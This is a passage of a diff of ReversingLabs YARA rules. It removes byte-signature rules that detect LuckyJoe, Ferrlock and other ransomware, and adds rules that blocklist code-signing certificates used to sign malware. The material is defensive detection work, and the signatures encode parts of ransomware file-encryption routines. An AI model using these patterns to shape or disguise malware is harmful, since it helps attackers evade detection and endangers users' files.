?? - 6F ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 06 0C DD ?? ?? ?? ?? 02 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? - 13 ?? 11 ?? 2C ?? 06 0C DD ?? ?? ?? ?? 02 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 2C - ?? 06 0C DD ?? ?? ?? ?? 02 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 06 0C DD ?? - ?? ?? ?? 02 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 06 0C DD ?? ?? ?? ?? 02 72 - ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 06 0C DD ?? ?? ?? ?? 02 72 ?? ?? ?? ?? 6F - ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 06 0C DE ?? 00 02 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11 - ?? 11 ?? 9A 13 ?? 00 06 11 ?? 6F ?? ?? ?? ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 - 32 ?? 00 02 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11 ?? 11 ?? 9A 13 ?? 00 06 11 ?? 28 ?? - ?? ?? ?? 6F ?? ?? ?? ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 32 ?? 00 DE ?? 13 ?? - 00 00 DE ?? 06 0C 2B ?? 08 2A - } - $encrypt_folder = { - 00 02 28 ?? ?? ?? ?? 0A 00 06 6F ?? ?? ?? ?? 0B 38 ?? ?? ?? ?? 12 ?? 28 ?? ?? ?? ?? 0C - 00 00 08 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 16 FE 01 0D 09 2C ?? 00 16 13 ?? 16 13 ?? 08 73 - ?? ?? ?? ?? 28 ?? ?? ?? ?? 8C ?? ?? ?? ?? 17 8C ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 08 19 - 73 ?? ?? ?? ?? 13 ?? 00 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 00 DE ?? - 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? 00 DC 11 ?? 16 FE 01 11 ?? 5F 11 ?? 5F 13 ?? 11 ?? 2C - ?? 00 08 28 ?? ?? ?? ?? 00 00 00 00 DE ?? 26 00 00 DE ?? 00 12 ?? 28 ?? ?? ?? ?? 3A ?? - ?? ?? ?? DE ?? 12 ?? FE 16 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DC 2A - } - $encrypt_files = { - 00 02 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 0C 08 2C ?? 38 ?? ?? ?? ?? 02 7E ?? ?? ?? ?? 6F ?? - ?? ?? ?? 0D 09 2C ?? 2B ?? 02 28 ?? ?? ?? ?? 0A 06 8E 69 8D ?? ?? ?? ?? 0B 16 13 ?? 2B - ?? 00 06 11 ?? 91 13 ?? 11 ?? 17 58 D1 13 ?? 11 ?? D2 13 ?? 07 11 ?? 11 ?? 9C 00 11 ?? - 17 58 13 ?? 11 ?? 07 8E 69 FE 04 13 ?? 11 ?? 2D ?? 02 07 28 ?? ?? ?? ?? 00 02 02 7E ?? - ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 02 28 ?? ?? ?? ?? 00 02 28 ?? ?? ?? ?? 00 7E - ?? ?? ?? ?? 02 6F ?? ?? ?? ?? 00 2A - } - condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $encrypt_files ) and ( $encrypt_folder ) and ( $rename_files ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SMART TOYS AND GAMES, INC" and ( pe.signatures [ i ] . serial == "00:9b:d8:1a:9a:da:f7:1f:1f:f0:81:c1:f4:a0:5d:7f:d7" or pe.signatures [ i ] . serial == "9b:d8:1a:9a:da:f7:1f:1f:f0:81:c1:f4:a0:5d:7f:d7" ) and 1601683200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Linux_Ransomware_Luckyjoe : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_C81319D20C6F1F1Aec3398522189D90C : INFO FILE { meta: - description = "Yara rule that detects LuckyJoe ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "8dc98d71-b79d-5b09-9383-11f2b57baeb5" - date = "2020-07-15" - modified = "2020-07-15" + id = "0a196a18-002e-58e4-bff2-83d1a67a82ce" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Linux.Ransomware.LuckyJoe.yara#L1-L146" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11536-L11554" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1e7df2c45bee072af233cf8f355a84ec931fe96afa3fbdcd225dded1b75ea961" + logic_hash = "2a9f13f5e79a12f7e9d9d4a0dcaac065e1fc5167c67bc9f3fd7ba1c374b26d96" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "LuckyJoe" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $main_call_p1 = { - 55 48 89 E5 48 81 EC ?? ?? ?? ?? 48 C7 45 ?? ?? ?? ?? ?? 48 C7 45 ?? ?? ?? ?? ?? 48 - C7 45 ?? ?? ?? ?? ?? 48 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? - 48 89 45 ?? 48 8B 55 ?? 48 8B 45 ?? 48 89 D6 48 89 C7 E8 ?? ?? ?? ?? 48 8D 75 ?? 48 - 8B 45 ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? BE ?? ?? - ?? ?? BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 89 C7 E8 - ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? - ?? 48 89 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? E8 ?? ?? - ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 8B 35 ?? ?? ?? ?? 48 83 EC ?? 48 8B 45 - ?? 6A ?? 41 B9 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 C7 - E8 ?? ?? ?? ?? 48 83 C4 ?? 48 8B 15 ?? ?? ?? ?? 48 8B 45 ?? 48 89 D6 48 89 C7 E8 ?? - ?? ?? ?? 48 8B 45 ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? - ?? ?? 48 98 48 89 45 ?? 48 8B 45 ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 - } - $main_call_p2 = { - 89 C7 E8 ?? ?? ?? ?? 48 98 48 89 45 ?? 48 8B 45 ?? 48 83 C0 ?? 48 89 C7 E8 ?? ?? ?? - ?? 48 89 45 ?? 48 8B 45 ?? 48 83 C0 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 8B 45 - ?? 89 C2 48 8B 4D ?? 48 8B 45 ?? 48 89 CE 48 89 C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 89 C2 - 48 8B 4D ?? 48 8B 45 ?? 48 89 CE 48 89 C7 E8 ?? ?? ?? ?? 48 8B 55 ?? 48 8B 45 ?? 48 - 01 D0 C6 00 ?? 48 8B 55 ?? 48 8B 45 ?? 48 01 D0 C6 00 ?? 48 8B 45 ?? 48 8B 55 ?? 48 - 89 D6 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 83 7D ?? ?? 75 ?? BF ?? ?? ?? ?? E8 ?? - ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C6 BF ?? ?? ?? ?? B8 ?? ?? - ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 ?? 74 ?? B8 - ?? ?? ?? ?? E9 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 45 ?? - 48 83 7D ?? ?? 74 ?? 48 8B 55 ?? 48 8B 45 ?? BE ?? ?? ?? ?? 48 89 C7 B8 - } - $main_call_p3 = { - E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 79 ?? 48 8B 45 ?? 89 C7 E8 ?? ?? ?? ?? B8 ?? ?? - ?? ?? E9 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 89 C7 E8 ?? ?? - ?? ?? 48 C7 45 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 45 - ?? 48 83 7D ?? ?? 74 ?? EB ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? - ?? ?? 48 8B 55 ?? 48 8B 45 ?? BE ?? ?? ?? ?? 48 89 C7 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 89 45 ?? 83 7D ?? ?? 79 ?? 48 8B 45 ?? 89 C7 E8 ?? ?? ?? ?? EB ?? 48 8B 45 ?? 48 89 - C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 89 C7 E8 ?? ?? ?? ?? EB ?? BF ?? ?? ?? ?? E8 ?? ?? ?? - ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? - ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 45 ?? 48 98 48 8B 84 - C5 ?? ?? ?? ?? 48 89 C6 BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 48 98 - 48 8B 84 C5 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 83 45 ?? ?? 83 7D ?? ?? 74 ?? BF ?? - ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 - ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? C9 C3 - } - $encrypt_files_p1 = { - 55 48 89 E5 53 48 81 EC ?? ?? ?? ?? 48 89 BD ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? BA ?? - ?? ?? ?? B9 ?? ?? ?? ?? 48 89 C7 48 89 D6 F3 48 A5 48 89 F2 48 89 F8 0F B7 0A 66 89 - 08 48 8D 40 ?? 48 8D 52 ?? 48 C7 45 ?? ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? - 48 C7 45 ?? ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 89 D7 - F3 48 AB 48 8B 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 83 7D ?? ?? 75 - ?? 48 8B 85 ?? ?? ?? ?? 48 89 C6 BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? - ?? ?? ?? E9 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 D6 48 89 C7 - E8 ?? ?? ?? ?? 48 8B 45 ?? 0F B6 40 ?? 3C ?? 0F 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? - 48 89 C7 E8 ?? ?? ?? ?? 48 89 C3 48 8B 45 ?? 48 83 C0 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 - 01 D8 48 83 C0 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 8B 85 ?? ?? ?? ?? BE ?? ?? - ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 84 C0 74 ?? 48 8B 45 ?? 48 8D 48 ?? 48 8B 95 ?? ?? ?? - ?? 48 8B 45 ?? BE ?? ?? ?? ?? 48 89 C7 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 48 8B 45 - ?? 48 8D 48 ?? 48 8B 95 ?? ?? ?? ?? 48 8B 45 ?? BE ?? ?? ?? ?? 48 89 C7 B8 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8B 4D ?? 48 8D 85 ?? ?? ?? ?? 48 89 CE 48 - 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? EB ?? 48 8B 45 ?? 48 83 C0 ?? 48 89 C7 E8 ?? ?? ?? - ?? 48 89 C2 48 8B 45 ?? 48 89 C6 48 89 D7 E8 ?? ?? ?? ?? 85 C0 75 ?? 48 8B 45 ?? 48 - } - $encrypt_files_p2 = { - 89 C6 BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? - ?? EB ?? 48 8D 95 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C6 BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 - 89 45 ?? 48 83 7D ?? ?? 75 ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 - 8B 45 ?? 0F B6 40 ?? 3C ?? 0F 85 ?? ?? ?? ?? 48 8B 45 ?? 48 83 C0 ?? BE ?? ?? ?? ?? - 48 89 C7 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 45 ?? 48 83 C0 ?? BE ?? ?? ?? - ?? 48 89 C7 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 45 ?? 48 83 C0 ?? 48 89 45 - ?? 48 8B 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 C3 48 8B 45 ?? 48 89 C7 E8 ?? - ?? ?? ?? 48 01 D8 48 83 C0 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 8B 85 ?? ?? ?? - ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 84 C0 74 ?? 48 8B 45 ?? 48 8D 48 ?? 48 8B - 95 ?? ?? ?? ?? 48 8B 45 ?? BE ?? ?? ?? ?? 48 89 C7 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB - ?? 48 8B 45 ?? 48 8D 48 ?? 48 8B 95 ?? ?? ?? ?? 48 8B 45 ?? BE ?? ?? ?? ?? 48 89 C7 - B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 - C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 83 7D ?? ?? 0F - 85 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5B 5D C3 - } - $encrypt_internal_message_p1 = { - 55 48 89 E5 53 48 83 EC ?? 48 89 7D ?? 48 89 75 ?? 48 C7 45 ?? ?? ?? ?? ?? BF ?? ?? - ?? ?? E8 ?? ?? ?? ?? 48 89 45 ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 89 45 ?? 48 8B - 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 83 C0 ?? 48 98 48 89 C7 E8 ?? ?? ?? - ?? 48 89 45 ?? 8B 45 ?? 83 C0 ?? 48 63 D0 48 8B 45 ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? - ?? ?? ?? 8B 45 ?? 48 63 D0 48 8B 4D ?? 48 8B 45 ?? 48 89 CE 48 89 C7 E8 ?? ?? ?? ?? - 8B 45 ?? 48 98 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? - ?? ?? ?? 8B 45 ?? 83 E8 ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 66 0F EF C0 F2 0F 2A 45 ?? - 66 0F EF C9 F2 0F 2A 4D ?? F2 0F 5E C1 E8 ?? ?? ?? ?? F2 0F 2C C0 89 45 ?? 8B 45 ?? - 0F AF 45 ?? 48 98 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 8B 45 ?? 0F AF 45 ?? 48 63 D0 - 48 8B 45 ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 8B 45 ?? 0F AF 45 ?? 89 C3 48 8B - 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 C6 8B 45 ?? 89 C1 89 DA BF ?? ?? ?? ?? B8 ?? ?? - ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 48 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? E9 ?? ?? ?? ?? 8B 45 ?? 2B 45 ?? 3B 45 ?? 7D ?? 8B 45 ?? 2B 45 ?? 89 45 ?? 8B 45 - ?? 48 63 D0 48 8B 45 ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 8B 45 ?? 2B 45 ?? 89 - } - $encrypt_internal_message_p2 = { - C6 BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 48 63 D0 48 8B 45 ?? 48 8D - 34 02 48 8B 4D ?? 48 8B 55 ?? 8B 45 ?? 41 B8 ?? ?? ?? ?? 89 C7 E8 ?? ?? ?? ?? 89 45 - ?? 8B 45 ?? 89 C6 BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 75 ?? E8 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 C2 48 8B 45 ?? 48 89 C6 48 89 D7 E8 ?? ?? ?? ?? 48 - 8B 05 ?? ?? ?? ?? 48 8B 55 ?? BE ?? ?? ?? ?? 48 89 C7 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8B 45 ?? - 48 89 C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? - ?? ?? 8B 45 ?? 48 63 D0 8B 45 ?? 48 63 C8 48 8B 45 ?? 48 01 C1 48 8B 45 ?? 48 89 C6 - 48 89 CF E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 C6 BF ?? ?? ?? ?? - B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 01 45 ?? 8B 45 ?? 01 45 ?? 48 8B 45 ?? 48 89 - C7 E8 ?? ?? ?? ?? 83 45 ?? ?? 8B 45 ?? 3B 45 ?? 0F 8E ?? ?? ?? ?? 48 8B 45 ?? 48 89 - C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 8B 4D ?? 48 8B 45 ?? BA ?? ?? - ?? ?? 89 CE 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? - 48 89 C6 BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 45 ?? 48 83 C4 ?? 5B 5D - C3 - } - condition: - uint32( 0 ) == 0x464C457F and ( all of ( $main_call_p* ) ) and ( all of ( $encrypt_files_p* ) ) and ( all of ( $encrypt_internal_message_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "AMCERT,LLC" and ( pe.signatures [ i ] . serial == "00:c8:13:19:d2:0c:6f:1f:1a:ec:33:98:52:21:89:d9:0c" or pe.signatures [ i ] . serial == "c8:13:19:d2:0c:6f:1f:1a:ec:33:98:52:21:89:d9:0c" ) and 1643500800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Ferrlock : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_C318D876768258A696Ab9Dd825E27Acd : INFO FILE { meta: - description = "Yara rule that detects Ferrlock ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "745ce529-46d0-56ed-a8fa-b41b26b068f4" - date = "2020-06-26" - modified = "2020-07-15" + id = "c6e93547-5be0-5303-b537-655db3d78ad4" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Ferrlock.yara#L1-L131" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11556-L11574" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "b94bc77489dbb74573813631009e605bc848e17995a0a512d08b194ee3020b75" + logic_hash = "691b57929c93d14f8700e0e61170b9248499fd36b80aec90f2054c32d6a3a9eb" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Ferrlock" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $search_files_p1 = { - 8B FF 55 8B EC 51 8B 4D ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 57 8B 7D ?? 2B CA 8B C7 41 - F7 D0 89 4D ?? 3B C8 76 ?? 6A ?? 58 EB ?? 53 56 8D 5F ?? 03 D9 6A ?? 53 E8 ?? ?? ?? - ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? FF - 75 ?? 2B DF 8D 04 3E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 5D ?? 8B - CB E8 ?? ?? ?? ?? 33 FF 89 45 ?? 85 C0 74 ?? 56 E8 ?? ?? ?? ?? 8B 75 ?? 59 EB ?? 8B - 43 ?? 89 30 8B F7 83 43 ?? ?? 57 E8 ?? ?? ?? ?? 59 8B C6 5E 5B 5F 8B E5 5D C3 33 FF - 57 57 57 57 57 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 - C5 89 45 ?? 8B 4D ?? 53 8B 5D ?? 57 8B 7D ?? 89 9D ?? ?? ?? ?? EB ?? 8A 01 3C ?? 74 - ?? 3C ?? 74 ?? 3C ?? 74 ?? 51 57 E8 ?? ?? ?? ?? 59 59 8B C8 3B CF 75 ?? 8A 11 80 FA - ?? 75 ?? 8D 47 ?? 3B C8 74 ?? 53 33 DB 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 33 DB - } - $search_files_p2 = { - 80 FA ?? 74 ?? 80 FA ?? 74 ?? 8A C3 80 FA ?? 75 ?? B0 ?? 0F B6 C0 2B CF 41 F7 D8 56 - 1B C0 23 C1 68 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? - 83 C4 ?? 8D 85 ?? ?? ?? ?? 53 53 53 50 53 57 FF 15 ?? ?? ?? ?? 8B F0 8B 85 ?? ?? ?? - ?? 83 FE ?? 75 ?? 50 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 83 FE ?? 74 ?? 56 FF 15 - ?? ?? ?? ?? 8B C3 5E 8B 4D ?? 5F 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 48 ?? 2B 08 - C1 F9 ?? 89 8D ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 8A 8D ?? ?? ?? ?? 84 C9 74 ?? - 80 F9 ?? 75 ?? 38 9D ?? ?? ?? ?? 74 ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50 - E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 - 8B 85 ?? ?? ?? ?? 75 ?? 8B 10 8B 40 ?? 8B 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B C8 0F 84 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? E9 - } - $enum_rsrc = { - 6A ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 4D ?? 8B 45 ?? 8D 4D ?? 83 4D ?? ?? 51 50 6A - ?? 6A ?? 6A ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 75 - ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 0F 84 ?? ?? ?? ?? EB ?? 33 DB 39 5D ?? 7E ?? - 8D 7E ?? F7 47 ?? ?? ?? ?? ?? 74 ?? 8D 47 ?? 89 45 ?? 8B 45 ?? 8B 00 8B 48 ?? 85 C9 - 74 ?? 8B 01 8D 55 ?? 52 FF 50 ?? EB ?? FF 37 8D 4D ?? E8 ?? ?? ?? ?? 83 65 ?? ?? 8D - 45 ?? 50 8B 45 ?? 8B 48 ?? E8 ?? ?? ?? ?? 83 4D ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 43 83 - C7 ?? 3B 5D ?? 7C ?? 83 4D ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 56 8D 45 ?? 50 FF - 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 - ?? ?? ?? ?? E8 ?? ?? ?? ?? C2 ?? ?? E8 ?? ?? ?? ?? CC 55 8B EC 6A ?? 68 ?? ?? ?? ?? - 64 A1 ?? ?? ?? ?? 50 56 A1 ?? ?? ?? ?? 33 C5 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B F1 83 - 65 ?? ?? 8B 4E ?? 85 C9 74 ?? 8B 11 3B CE 0F 95 C0 0F B6 C0 50 FF 52 ?? 83 66 ?? ?? - 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5E 8B E5 5D C3 - } - $create_test_file_p1 = { - 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 33 DB 8D 55 - ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 5D ?? E8 ?? ?? ?? ?? 59 8D 45 ?? C6 45 ?? ?? - 50 8D 4D ?? 89 5D ?? 89 5D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 - ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 83 CB ?? 8B 3D ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 65 ?? ?? - 8D 4D ?? 83 65 ?? ?? 56 E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? FF 75 ?? 8B 45 ?? 2B 45 - ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 8B 55 ?? 8D 4D ?? 0F 43 45 ?? - 83 7D ?? ?? 0F 43 4D ?? 3B 55 ?? 75 ?? 52 50 51 E8 ?? ?? ?? ?? 83 C4 ?? C6 85 ?? ?? - ?? ?? ?? 85 C0 74 ?? C6 85 ?? ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? - ?? 8D 4D ?? 0F 85 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C6 ?? 3B F7 0F 85 ?? ?? - ?? ?? 83 7D ?? ?? 8D 45 ?? 8B 35 ?? ?? ?? ?? BF ?? ?? ?? ?? 0F 43 45 ?? 33 C9 51 57 - } - $create_test_file_p2 = { - 6A ?? 51 51 68 ?? ?? ?? ?? 50 FF D6 3B C3 0F 84 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 - 7D ?? ?? 